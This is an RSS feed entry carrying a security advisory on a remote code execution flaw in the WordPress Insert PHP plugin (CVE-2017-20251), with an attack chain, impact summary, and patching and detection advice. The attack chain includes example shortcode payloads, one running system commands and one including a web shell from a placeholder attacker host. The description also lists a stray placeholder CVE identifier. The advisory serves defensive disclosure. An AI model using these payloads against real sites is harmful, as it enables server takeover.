<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:webfeeds="http://webfeeds.org/rss/1.0"><channel><title>WPKodes - CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/vendors/wpkodes/</link><description>Trending threats, MITRE ATT&amp;CK coverage, and detection metadata. Fed continuously.</description><generator>Hugo</generator><language>en</language><managingEditor>hello@craftedsignal.io</managingEditor><webMaster>hello@craftedsignal.io</webMaster><lastBuildDate>Sun, 14 Jun 2026 21:00:47 +0000</lastBuildDate><atom:link href="https://feed.craftedsignal.io/vendors/wpkodes/feed.xml" rel="self" type="application/rss+xml"/><image><url>https://feed.craftedsignal.io/favicon-32x32.png</url><title>CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/</link><width>32</width><height>32</height></image><webfeeds:icon>https://feed.craftedsignal.io/favicon.svg</webfeeds:icon><item><title>WordPress Insert PHP Plugin RCE (CVE-2017-20251)</title><link>https://feed.craftedsignal.io/briefs/2026-06-wordpress-insert-php-rce/</link><pubDate>Sun, 14 Jun 2026 21:00:47 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-06-wordpress-insert-php-rce/</guid><description>An unauthenticated remote code execution vulnerability (CVE-2024-XXXX, CVE-2017-20251) in WordPress Insert PHP plugin versions before 3.3.1 allows attackers to execute arbitrary PHP code by injecting malicious shortcodes via the WordPress REST API endpoint /wp-json/wp/v2/posts.</description><content:encoded><![CDATA[<p>CVE-2017-20251 is a critical PHP code injection vulnerability affecting WordPress sites running the Insert PHP plugin prior to version 3.3.1. This flaw allows unauthenticated attackers to achieve remote code execution (RCE) by sending specially crafted HTTP POST requests to the WordPress REST API endpoint <code>/wp-json/wp/v2/posts</code>. The malicious requests contain <code>insert_php</code> shortcodes embedded within the post content, which, when processed by the vulnerable plugin, execute arbitrary PHP code. This enables attackers to include and execute remote PHP files on the server, potentially leading to full system compromise. The vulnerability has a CVSS v3.1 Base Score of 9.8 (Critical) and an exploit has been publicly disclosed.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li><strong>Reconnaissance</strong>: An unauthenticated attacker identifies a WordPress instance running the vulnerable Insert PHP plugin (versions prior to 3.3.1).</li>
<li><strong>Vulnerability Exploitation</strong>: The attacker crafts a malicious HTTP POST request to exploit the PHP code injection vulnerability.</li>
<li><strong>Targeting REST API</strong>: The crafted request is directed at the WordPress REST API endpoint, specifically <code>/wp-json/wp/v2/posts</code>, which is used for creating or updating posts.</li>
<li><strong>Shortcode Injection</strong>: The POST request's body (representing the post content) includes a malicious <code>[insert_php]</code> shortcode containing arbitrary PHP code (e.g., <code>&lt;?php system('command'); ?&gt;</code> or <code>&lt;?php include 'http://attacker.com/webshell.php'; ?&gt;</code>).</li>
<li><strong>Code Execution</strong>: The vulnerable Insert PHP plugin processes the <code>[insert_php]</code> shortcode within the post content without proper sanitization or authentication checks, leading to the execution of the embedded PHP code.</li>
<li><strong>Remote Code Execution (RCE)</strong>: The executed PHP code allows the attacker to run arbitrary operating system commands, include remote files, or deploy a web shell for persistent access.</li>
<li><strong>Impact</strong>: The attacker gains full control over the compromised WordPress server, enabling data exfiltration, website defacement, or further lateral movement within the network.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of CVE-2017-20251 grants unauthenticated remote code execution on the affected WordPress server. This allows attackers to perform a wide range of malicious activities, including installing backdoors, stealing sensitive data (e.g., database credentials, user information), defacing the website, using the server for further attacks, or establishing a persistent presence. The high CVSS score of 9.8 reflects the critical nature of this vulnerability, making it a severe threat to any organization running the vulnerable plugin. While specific victim counts are not available, public exploits increase the likelihood of widespread targeting.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update the &quot;Insert PHP&quot; plugin to version 3.3.1 or higher immediately to remediate CVE-2017-20251.</li>
<li>Deploy the Sigma rules provided in this brief to your SIEM for detection of exploitation attempts and post-exploitation activity.</li>
<li>Monitor web server access logs for unusual POST requests targeting the <code>/wp-json/wp/v2/posts</code> endpoint, especially those containing shortcode-like patterns, as indicated in the <code>Detects CVE-2017-20251 Exploitation — WordPress Insert PHP Shortcode Injection</code> rule.</li>
<li>Enable process creation logging (e.g., Sysmon on Windows, Auditd on Linux) on web servers to detect suspicious child processes spawned by the web server or PHP interpreter, as indicated in the <code>Detect Web Server Spawning Suspicious Processes</code> rule.</li>
</ul>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category><category>web-application</category><category>wordpress</category><category>php</category><category>rce</category><category>code-injection</category></item></channel></rss>